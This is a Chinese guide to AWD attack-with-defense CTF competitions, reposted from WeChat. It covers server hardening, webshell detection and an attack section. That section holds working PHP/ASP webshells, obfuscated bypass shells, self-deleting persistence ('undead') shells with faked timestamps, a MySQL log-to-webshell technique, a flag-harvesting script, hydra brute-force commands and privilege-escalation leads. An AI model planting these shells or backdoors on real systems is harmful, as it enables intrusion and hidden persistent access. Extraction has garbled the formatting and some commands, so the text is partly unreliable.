微信公众号:渊龙Sec安全团队
为国之安全而奋斗,为信息安全而发声!
如有问题或建议,请在公众号后台留言
如果你觉得本文对你有帮助,欢迎在文章底部赞赏我们
本手册开源地址:https://github.com/AabyssZG/AWD-Guide
这是一本能让你从零开始学习AWD并深入AWD的手册,我也会根据经验和需求逐步完善相关内容。如果你要参加AWD相关比赛,相信本项目能给你带来帮助~
如果你觉得本项目不错,欢迎给我点个Star,万分感谢~~
有什么新的攻击或者防守的姿势、手法,欢迎与我交流
0# 什么是AWD
0.1# AWD赛制介绍
「攻防模式 | AWD (Attack With Defense)」 是 CTF比赛「CTF Capture The Flag」 几种主要的比赛模式之一,该模式常见于线下赛。
在该模式中,每个队伍都拥有一个相同的初始环境 ( 我们称其为 GameBox ),该环境通常运行着一些特定的服务或应用程序,而这些服务通常包含一些安全漏洞。参赛队伍需要挖掘利用对方队伍服务中的安全漏洞,获取 Flag 以获得积分; 同时,参赛队伍也需要修补自身服务漏洞进行防御,以防被其他队伍攻击和获取 Flag。
主要特点为:强调实战性、实时性、对抗性,综合考量竞赛队的渗透能力和防护能力。
0.2# 比赛整体流程
-
赛前准备环节:我们会分配到多个靶机服务器,通常是分配给我们
SSH
或者VNC
的用户名和密码,还有相关IP等信息 -
安全加固环节:我们需要先自己去登录靶机服务器,进行30分钟的安全加固(源码备份/弱口令修改/代码审计和修复/漏洞修复等)
-
自由攻击环节:安全加固时间过后,开始自由攻击环节,通过对别的队伍的靶机服务器进行攻击(弱口令/Web漏洞/系统漏洞等)获得Flag进行加分,对应队伍失分
1# 比赛环境
通常比赛环境有以下三种情况:
-
混合靶机情况:运维机器
Windows 10
+ 攻击机Kali Linux
+ Win靶机Windows Server 2003/2008/2012
或者Windows 7
+ Linux靶机Centos7.x
或者Ubuntu 16.04/17.01/20.04
-
纯Linux靶机情况:运维机器
Windows 10
+ 攻击机Kali Linux
+ Linux靶机Centos7.x
或者Ubuntu 16.04/17.01/20.04
-
纯Windows靶机情况:运维机器
Windows 10
+ 攻击机Kali Linux
+ Win靶机Windows Server 2003/2008/2012
或者Windows 7
2# 安全加固环节(Defense)
2.0# 基本加固流程
2.0.1 Windows加固流程
先备份:Web源码、数据库
-
445加固,开启防火墙或IP高级安全策略
-
开启系统日志审计功能
-
禁用guest账户、关闭文件共享
-
确保启动项内容是可控的
-
限制3389远程访问控制的连接数:在本地组策略编辑器里面,依次展开计算机配置-->管理模板-->Windows组件-->远程桌面服务-->远程桌面会话主机-->连接-->限制连接的数量
-
使用工具监控关键目录文件:文件操作监控.exe、御剑文件监控.exe
-
恶意代码文件,通过PCHunter、Monitor查找
-
Web目录环境查找相关可疑文件:jpg/png/rar,查看属性、解压看文件内容
-
NTFS扫描磁盘查找隐藏的交换流数据
-
查找系统所有账户信息,禁止非Administrator账户
-
修改Web站点管理员访问路径、默认口令、数据库口令
-
安装WAF脚本,防护Web站点,禁止其他漏洞
2.0.2 Linux加固流程
先备份:Web源码、数据库
-
系统口令修改,团队统一口令
-
通过
.bash_history
查找历史命令操作,发现痕迹 -
查看计划任务:
crontab -l
;编辑计划任务:crontab -e
-
查看
/etc/init.d/rc.local
中启动服务有无异常 -
使用脚本开启进程监控、目录监控、流量监控
-
Web站点口令,站点管理员路径修改
-
系统加固:iptable
2.1# 基本信息搜集
在防守的时候,信息搜集也很重要,正所谓“知己知彼,百战不殆”
2.1.1 明确Linux机器信息
1
uname -a
//系统信息
2
ps -aux
//查询进程信息
3
ps -ef | grep 进程名称
//筛选指定进程
4
id
//用于显示用户ID,以及所属群组ID
5
cat /etc/passwd
//查看用户情况
6
ls /home/
//查看用户情况
7
find / -type d -perm
-002
//可写目录检查
8
ifconfig
//Linux上查看网卡信息
2.1.2 明确Windows机器信息
1
whoami /all
//Windows上查看用户详细信息
2
ipconfig /all
//Windows上查看网卡信息
2.1.3 查看开放端口
1
netstat
//查看活动连接
2
netstat -ano/-a
//查看端口情况
3
netstat -anp
//查看端口
4
firewall-cmd --zone=
public
--remove-port=
80
/tcp –permanent
//关闭端口
5
firewall-cmd –reload
//防火墙重启
2.1.4 默认口令(弱口令)更改
为了防范弱口令攻击,Mysql密码默认都是root,phpstudy默认密码123456
还有其他默认密码admin,top100, top1000等
尤其是WEB应用的后台密码修改
1
passwd username
//ssh口令修改
2
set
password
for
mycms@localhost = password(
'Admin7890?!'
);
//MySQL密码修改
3
find /var/www
/html -path '*config*’ //查找配置文件中的密码凭证
2.1.5 找本地Flag
1
grep -r
"flag"
/var/www/html/
//Linux:在Web目录下查找flag
2
findstr /s /i
"flag"
*.*
//Windows:当前目录以及所有子目录下的所有文件中查找"flag"这个字符串
2.1.6 设置禁Ping
1
echo
"1"
> /proc/sys/net/ipv4/icmp_echo_ignore_all
//临时开启禁ping
2
echo
"0"
> /proc/sys/net/ipv4/icmp_echo_ignore_all
//关闭禁ping
2.2# Web安全加固
2.2.1 备份源码
防止在对源码进行修改时出问题,或者被攻击方删除源码而准备
压缩源码:
1
tar -cvf web.tar /var/www/html
2
zip -q -r web.zip /var/www/html
解压缩源码:
1
tar -xvf web.tar -c /var/www/html
2
unzip web.zip -d /var/www/html
备份源码:
1
mv web.tar /tmp
2
mv web.zip /home/xxx
上传和下载源码:
1
scp username@servername:/path/filename /tmp/local_destination
//从服务器下载单个文件到本地
2
scp /path/local_filename username@servername:/path
//从本地上传单个文件到服务器
3
scp -r username@servername:remote_dir/ /tmp/local_dir
//从服务器下载整个目录到本地
4
scp -r /tmp/local_dir username@servername:remote_dir
//从本地上传整个目录到服务器
2.2.2 设置只读权限
对Web文件设置只读和执行权限(PHP等动态语言需要执行权限)
1
chmod
0555
/var/www/html
/*
2
chmod 0555 /var/www/html/*.php
Web根目录设置只读和执行权限
1
chmod
0555
/var/www/html
改变文件的属主和属组来设置严格的权限
1
chown -R root:root /var/www/html/
//设置拥有人为 root:root 或 httpd:httpd (推荐)
2
chown -R apache:apache /var/www/html/
//确保 apache 拥有 /var/www/html/
2.2.3 配置 `.htaccess`
利用 .htaccess
配置文件禁止php文件执行
1
<Directory
"/var/www/html/upload"
>
//指定目录后续的指令将应用于该目录
2
Options -ExecCGI -Indexes
//禁用了目录中的 CGI 执行和目录索引(显示目录内容列表)功能。
3
AllowOverride None
//不允许在该目录中使用 .htaccess 文件来覆盖服务器的配置。
4
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
5
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
6
//这两个指令移除指定文件扩展名的处理器和类型。
7
//在这种情况下,这些指令从 Apache 的处理列表中移除了与 PHP 相关的扩展名和服务器端包含(SSI)文件类型。
8
php_flag engine off
//这个指令将 PHP 的引擎标志(engine)设置为关闭状态,从而禁用了在该目录中执行 PHP 脚本的能力。
9
<FilesMatch
".+.ph(p[3457]?|t|tml)$"
>
10
deny from all
11
</FilesMatch>
//这三行命令使用正则表达式匹配了以 .php、.phtml、.php3、.pht、.php4、.php5、.php7、.shtml 结尾的文件,并将其访问权限设置为拒绝所有
12
</Directory>
2.2.4 PHP参数安全配置
首先找到PHP的配置文件
1
/etc/php/{version}/php.ini
禁用高危函数
1
disable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link
配置 open_basedir
(将用户访问文件的活动范围限制在指定的区域)
1
open_basedir=/
var
/www/html
禁用魔术引号(自动对外部来源数据进行转义,防止SQL注入)
1
magic_quotes_gpc = Off
关闭PHP伪协议
1
allow_url_fopen = Off
2
allow_url_include = Off
重启PHP
1
sudo service php7
.0
-fpm restart
2
sudo systemctl restart php7
.0
-fpm.service
2.3# 数据库安全加固
2.3.1 Mysql加固
为了防范弱口令攻击,Mysql密码默认都是root,phpstudy默认密码123456
-
不使用默认口令,修改成复杂的,并确保和web环境连接
-
设置只允许本地127.0.0.1账户登录:修改
bind-address=127.0.0.1
;在配置文件中加入seccure_file_priv=NULL
-
开启日志审计功能:
general_log_file=路径
因为最常用的是Mysql数据库,所以基本的攻防大部分都是用MySql数据库的命令
备份指定数据库:
1
mysqldump –u username –p password databasename > target.sql
备份所有数据库:
1
mysqldump –all -databases > all.sql
导入数据库:
1
mysql –u username –p password database < from.sql
对于MySQL的攻防,可以看这篇文章:https://blog.zgsec.cn/archives/26.html
MySQL默认配置文件路径:
1
C:\
Program
FilesMySQLMySQLServer
5.1
my.ini
//Windows
2
/etc/my.cnf
//Linux
3
/etc/mysql/my.cnf
//Linux
修改 secure_file_priv
参数(日志功能的对应目录)
1
secure_file_priv=""
重载MySQL配置
1
FLUSH
PRIVILEGES
重启MySQL服务
1
sudo service mysql restart
2
sudo systemctl restart mysql
2.3.2 Mssql加固
-
删除不必要的账号
-
SQLServer用户口令安全
-
根据用户分配帐号避免帐号共享
-
分配数据库用户所需的最小权限
-
网络访问限制
-
SQLServer登录审计
-
SQLServer安全事件审计
-
配置日志功能
2.4# 远程控制加固
2.4.1 SSH安全加固
限制IP登录方法
1
sudo nano /etc/ssh/sshd_config
//以root权限编辑SSH配置文件
2
AllowUsers username@
192.168
.0
.100
//找到并编辑以下行,确保其取消注释并设置为所需的IP地址
禁用 root
远程登录
1
sudo nano /etc/ssh/sshd_config
//以root权限编辑SSH配置文件
2
PermitRootLogin no
//将PermitRootLogi设置为“no”
按用户和组限制SSH登录
1
sudo nano /etc/ssh/sshd_config
//以root权限编辑SSH配置文件
2
AllowUsers testuser
//设置只允许 testuser 登录SSH
3
AllowUsers testuser@
192.168
.1
.100
//设置只允许 192.168.1.100 的机器用 testuser 账户登录SSH
4
AllowGroups test
//设置用户组白名单
5
//需要注意的是:如果同时指定了 AllowUsers 与 AllowGroups 那么必须要在两个选项中都匹配到的用户才能进行SSH登录
重启SSH服务
1
sudo service sshd restart
2
sudo systemctl restart sshd.service
2.4.2 RDP远程登录安全加固
删除默认帐户并手动添加新用户:
-
步骤1:按
Win + R
打开运行对话框,输入secpol.msc
并单击 “确定” -
步骤2:导航至此处:本地策略-->用户权限分配,再双击打开 “允许通过远程桌面服务登录”
-
步骤3:删除此窗口中列出的管理员和远程桌面用户(或计算机上的任何其他用户或组)
-
步骤4:之后单击 “添加用户或组” 并手动添加您要授予远程桌面访问权限的用户
更改默认RDP端口号:
-
步骤1:打开运行对话框,输入
regedit
并单击 “确定” -
步骤2:打开
HKEY_LOCAL_MACHINESystemCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp
,向下滚动并找到PortNumber
然后双击它 -
步骤3:选择 “十进制”,修改为您想要设置的端口号,然后单击 “确定”
2.5# 应急响应
2.5.1 查询进程线程
1
netstat
2
ps -aux
3
netstat -apt
2.5.2 杀掉进程
1
kill
-9
pid
//Linux上
2
taskkill /f /pid pid
//Windows上
2.5.3 搜索WebShell文件
1
find /var/www/html -name *.php -mmin
-5
//查看最近5分钟修改文件
2
find ./ -name
'*.php'
| xargs wc -l | sort -u
//寻找行数最短文件,一般有可能是一句话木马
3
grep -r --include=*.php
'[^a-z]eval($_POST'
/var/www/html
//查包含关键字的php文件
4
find /var/www/html -type f -name
"*.php"
| xargs grep
"eval("
|more
//在Linux系统中使用find、grep和xargs命令的组合,用于在指定目录(/var/www/html)下查找所有以.php为扩展名的文件,并搜索这些文件中包含字符串"eval("的行,并使用more命令来分页显示结果以便在输出较长时进行逐页查看
2.5.4 查杀不死马
也可以利用命令自动进行查找删除
1
ps -aux | grep www-data | grep -v grep | awk
'{print $2}'
| xargs kill
-9
然后重启服务
1
service php-fpm restart
2.5.5 杀弹反弹shell
老规矩查看进程
1
ps -ef
2
px -aux
3
ps -aux | grep www-data
注意 www-data
权限的 /bin/sh
,很有可能是nc
再就是上老一套命令
1
kill ps -aux | grep www-data | grep apache2 | awk
'{print $2}'
3# 自由攻击环节(Attack)
3.0# 主要准备内容
-
各类CMS软件包最新版准备
-
扫描工具:Nmap、Nessus、Metasploit更新
-
漏洞利用脚本Poc、Exp
3.1# 基本信息搜集
3.1.1 主机信息搜集
Nmap
1
namp -sn
192.168
.0
.0
/
24
//C段存活扫描
httpscan
1
httpscan.py
192.168
.0
.0
/
24
–t
10
//C段存活扫描
3.1.2 端口扫描
1
nmap -sV
192.168
.0
.2
//扫描主机系统版本
2
nmap -sS
192.168
.0
.2
//扫描主机常用端口
3
nmap -sS -p
80
,
445
192.168
.0
.2
//扫描主机部分端口
4
nmap -sS -p-
192.168
.0
.2
//扫描主机全部端口
Python脚本
1
import
requests
2
3
for
x
in
range(
2
,
255
):
4
url =
"http://192.168.1.{}"
.format(x)
5
try
:
6
r = requests.post(url)
7
print(url)
8
except
:
9
pass
3.2# 外部打点
3.2.0 常见系统漏洞
-
MS17-010(永恒之蓝,可看https://blog.zgsec.cn/archives/172.html)
-
MySQL进行UDF提权(SQL注入或者MySQL弱口令)
-
MsSQL进行系统命令执行(SQL注入或者MsSQL弱口令)
-
SSH弱口令或默认口令
-
PWN(这个要看具体AWD比赛提供的内容了)
3.2.1 中间件漏洞
-
IIS(解析漏洞、远程代码执行)
-
Apache(解析漏洞)
-
Nginx(解析漏洞)
-
Jboss(CVE-2017-7504/CVE-2017-12149/CVE-2015-7501)
-
Mysql(弱口令)
-
Tomcat(弱口令Getshell)
-
Weblogic(CVE-2020-2551/CVE-2020-2555/CVE-2020-2883)
-
SpringBoot(未授权访问漏洞和RCE漏洞,具体可看https://blog.zgsec.cn/archives/129.html)
3.2.2 集成服务环境漏洞
-
wampserver
-
xamppserver
3.2.3 CMS漏洞利用
搜集最新版本的CMS,以及对应的漏洞Poc和Exp,这里仅仅列举部分CMS:
-
Aspcms
-
Dedecms
-
Dicuz
-
Drupal
-
Empirecms
-
Eshop
-
Finecms
-
Joomla
-
Lamp
-
Metainfo
-
Phpcms
-
Phpwind
-
Qibocms
-
Seacms
-
Semcms
-
ThinkPHP
-
Wolfcms
-
Wordpress
-
Zabbix
备份文件爆破:使用7kbScan等目录扫描工具对Web系统进行爆破
3.2.4 上传WebShell
常见一句话木马
1
PHP:
<?php
@
eval
($_POST[
'pass'
]);
?>
<?php
eval
($_GET[
'pass'
]);
2
Asp: <%
eval
request (
"pass"
)%>
3
Aspx: <%@ Page Language=
"Jscript"
%> <%
eval
(Request.Item[
"pass"
],
"unsafe"
);%>
Get型木马
1
<?php
eval
($_GET[
'pass'
]);
//利用方式/shell.php?pass=eval($_POST[1]);
免杀马制作:https://github.com/AabyssZG/WebShell-Bypass-Guide
1
<?
=~$_=
'$<>/'
^
'{{{{'
;@${$_}[_](@${$_}[__]);
//执行GET传参 ?_=system&__=whoami 来执行whoami命令
2
<?
=~$_=
'$<>/'
^
'{{{{'
;$___=
'$+4(/'
^
'{{{{{'
;@${$_}[_](@${$___}[__]);
//执行GET传参 ?_=assert 和POST传参 __=PHP代码来GetShell
隐藏的文件读取
1
<?php
2
header(php
'flag:'
.file_get_contents(
'/flag'
));
条件允许的话,将flag信息直接读取并返回到header头中,这样做不易被发现
3.2.5 利用WebShell
curl(跟hackbar差不多)
1
C:Usersadmin>curl
"http://192.168.182.130:8801/include/shell.php"
-d
"admin_ccmd=system('cat /f*');"
2
//向shell.php文件里传入参数并返回结果
Python多端口传参
1
#coding=utf-8
2
import
requests
3
4
url_head=
"http://192.168.182.130"
#网段
5
url=
""
6
shell_addr=
"/upload/url/shell.php"
#木马路径
7
passwd=
"pass"
#木马密码
8
#port="80"
9
payload = {passwd:
'System('cat /flag');'
}
10
# find / -name "flag*"
11
12
#清空上次记录
13
flag=open(
"flag.txt"
,
"w"
)
14
flag.close()
15
flag=open(
"flag.txt"
,
"a"
)
16
17
for
i
in
range(
8000
,
8004
):
18
url=url_head+
":"
+str(i)+shell_addr
19
try
:
20
res=requests.post(url,payload)
#,timeout=1
21
if
res.status_code == requests.codes.ok:
22
result = res.text
23
(result)
24
flag.write(result+
"n"
)
25
else
:
26
(
"shell 404"
)
27
except
:
28
(url+
" connect shell fail"
)
29
30
flag.close()
3.2.6 MySQL数据库利用
具体可以看这篇文章:https://blog.zgsec.cn/archives/26.html
1、查看MySQL版本
1
show
variables
like
'%version%'
;
2
select
version
();
#这个只显示MySQL版本号
2、查看 load_file()
开启状态
1
show
variables
like
'%secure%'
;
#这条可查看详细信息
2
show
global
variables
like
'%secure_file_priv%'
;
3、查看日志功能是否开启和对应目录
1
SHOW
VARIABLES
LIKE
'general%'
;
2
set
global
general_log =
"ON"
;
3
set
global
general_log_file=
'/var/www/html/test.php'
;
#可以写入WebShell然后直接连接蚁剑
4
5
# 往日志里面写入 WebShell
6
select
'<?php @eval($_POST['
AabyssTeam
']);?>'
;
7
# 此时已经写到 test.php 文件当中了,注意这个要知道网站的具体路径才可以实现
小技巧:获取MySQL账户和对应密码Hash
1
# MySQL <= 5.6 版本
2
select
host,
user
,
password
from
mysql.user;
3
4
# MySQL >= 5.7 版本
5
select
host,
user
,authentication_string
from
mysql.user;
3.2.7 弱口令爆破
爆破SSH密码
1
hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ssh
2
hydra -L 用户名字典.txt -P 密码字典.txt ssh:
//192.168.1.100
3
hydra -L 用户名字典.txt -P 密码字典.txt ssh:
//192.168.1.100 -s 40 //40是⽬标服务开放的端⼝
爆破FTP密码
1
hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ftp
2
hydra -L 用户名字典.txt -P 密码字典.txt ftp:
//192.168.1.100/
爆破RDP远程桌面密码
1
hydra 目标IP地址 rdp -l administrator -P 密码字典.txt -V
爆破Telnet
1
hydra 目标IP地址 telnet -l 用户字典.txt -P 密码字典.txt -f -V
爆破MSSQL数据库
1
hydra -l sa -P 密码字典.txt 目标IP地址 mssql
爆破MySQL数据库
1
hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 mysql
3.3# 内网渗透
3.3.1 权限维持之不死马
简单不死马:
1
<?php
2
set_time_limit(
0
);
//PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
3
ignore_user_abort(
1
);
//ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将后台运行
4
unlink(
__FILE__
);
//删除自身
5
6
while
(
1
)
7
{
8
file_put_contents(
'shell.php'
,
'<?php @eval($_POST["AabyssTeam"]);?>'
);
//创建shell.php
9
sleep(
0
);
//间隔时间
10
}
可以通过不断复写 shell.php
来达到该木马难以被使用的效果
防连接不死马:
1
<?php
2
set_time_limit(
0
);
// 取消脚本运行时间的超时上限
3
ignore_user_abort(
1
);
//
4
5
while
(
1
)
6
{
7
file_put_contents(
'shell.php'
,
'<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>'
);
//创建shell.php
8
sleep(
0
);
9
}
10
11
//passwd=AabyssTeam
12
//POST传参:passwd=AabyssTeam&cmd=system('ls');
进阶不死马:
1
<?php
2
ignore_user_abort(
true
);
3
set_time_limit(
0
);
4
unlink(
__FILE__
);
5
$file =
'shell.php'
;
6
$code =
'<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>'
;
7
8
while
(
1
){
9
file_put_contents($file,$code);
10
system(
'touch -m -d "2020-12-01 09:10:12" shell.php'
);
//修改时间,防止被删
11
usleep(
5000
);
12
}
13
?>
14
15
//passwd=AabyssTeam
16
//POST传参:passwd=AabyssTeam&cmd=system('ls');
将这个文件上传到服务器,然后进行访问,会在该路径下一直生成一个名字为 shell.php
的WebShell文件
双重不死马:
1
<?php
2
ignore_user_abort(
true
);
3
set_time_limit(
0
);
4
unlink(
__FILE__
);
5
$file =
'.login.php'
;
6
$file1 =
'/admin/.register.php'
;
7
$code =
'<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>'
;
8
9
while
(
1
){
10
file_put_contents($file,$code);
11
system(
'touch -m -d "2020-12-01 18:10:12" .login.php'
);
12
file_put_contents($file1,$code);
13
system(
'touch -m -d "2020-12-01 18:10:12" /admin/.register.php'
);
14
usleep(
5000
);
15
}
16
?>
17
18
//passwd=AabyssTeam
19
//POST传参:passwd=AabyssTeam&cmd=system('ls');
浏览器访问写入的WebShell,会自动生成两个不死马:.login.php
和 /admin/.register.php
3.3.2 关键文件检索
组件检索
1
find / -name
"apaech2.conf"
//检索Apache主配置文件
2
find / -name
"nginx.conf"
//检索Nginx目录
3
find / -path
"*nginx*"
-name nginx*conf
//检索Nginx配置目录
4
find / -name
"httpd.conf"
//检索Apache目录
5
find / -path
"*apache*"
-name apache*conf
//检索Apache配置目录
网站首页
1
find / -name
"index.php"
//定位网站目录
2
find / -name
"index.html"
//定位网站目录
日志文件检索
1
/var/
log
/nginx/
//默认Nginx日志目录
2
/var/
log
/apache/
//默认Apache日志目录
3
/var/
log
/apache2/
//默认Apache日志目录
4
/usr/local/tomcat/logs
//Tomcat日志目录
5
tail -f xxx.
log
//实时刷新滚动日志文件
3.3.3 Linux提权
查询系统版本信息命令:
1
cat /etc/issue
2
cat /etc
/*-release
3
cat /etc/lsb-release
4
cat /etc/redhat-release
5
查询内核版本信息命令:
1
uname -a
2
uname -mrs
3
cat /proc/version
4
cat /etc/issue
5
lsb_release -a
6
hostnamectl
7
rpm -q kernel
8
dmesg | grep Linux
9
ls /boot | grep vmlinuz
查看系统环境变量命令:
1
cat /etc/profile
2
cat /etc/bashrc
3
cat ~/.bash_profile
4
cat ~/.bashrc
5
cat ~/.bash_logout
6
env
7
set
查看语言环境信息命令:
1
find / -name perl*
2
find / -name python*
3
find / -name gcc*
4
find / -name cc
5
set
查看文件上传环境信息命令:
1
find / -name wget
2
find / -name nc*
3
find / -name netcat*
4
find / -name tftp*
5
find / -name ftp
这里列举一些可用利用的提权漏洞:
-
CVE-2023-0386(Linux OverlayFS权限提升漏洞)
-
CVE-2021-4034(Linux Polkit本地权限提升漏洞)
-
CVE-2017-6074 (DCCP双重释放漏洞 > 2.6.18 )
-
CVE-2016-5195(脏牛,kernel 2.6.22 < 3.9 (x86/x64))
-
CVE-2016-8655(Ubuntu 12.04、14.04,Debian 7、8)
-
CVE-2017-1000367(sudo本地提权漏洞 )
-
CVE-2016-1247(Nginx权限提升漏洞)
-
CVE-2017-16995(Ubuntu16.04 kernel:4.14-4.4)
Kali命令查询:
1
searchsploit
CentOS
7
2
searchsploit
Ubuntu
16
.04
提权Exploit寻找:
-
http://www.exploit-db.com
-
http://metasploit.com/modules/
-
http://securityreason.com
-
http://seclists.org/fulldisclosure/
-
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/tree/main
编译提权Exp
1
gcc -o
/usr/share/nginx/html/
*****
/usr/share/nginx/html/
*****.c -Wall
直接提权,确认权限:
1
cat
/etc/shadow
其他提权姿势:https://www.freebuf.com/articles/system/244627.html
3.3.4 Windows提权
这里列举一些Windows的漏洞:
-
各种Potato(Github上面基本都有)
-
CVE-2023-35359(Windows内核权限提升漏洞,开源了)
-
CVE-2022-24521(没有Exp的可以找我要)
-
CVE-2019-1405
-
CVE-2019-1322
-
MS17-017(整型溢出漏洞)
4# 参考链接
-
https://freebuf.com/
-
https://blog.zgsec.cn/
-
https://paper.seebug.org/3044/
-
https://www.anquanke.com/
-
https://www.exploit-db.com/
-
http://www.bugscan.net/source/template/vulns/
-
https://xz.aliyun.com/t/12687
原文始发于微信公众号(渊龙Sec安全团队):从零学习AWD比赛指导手册
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论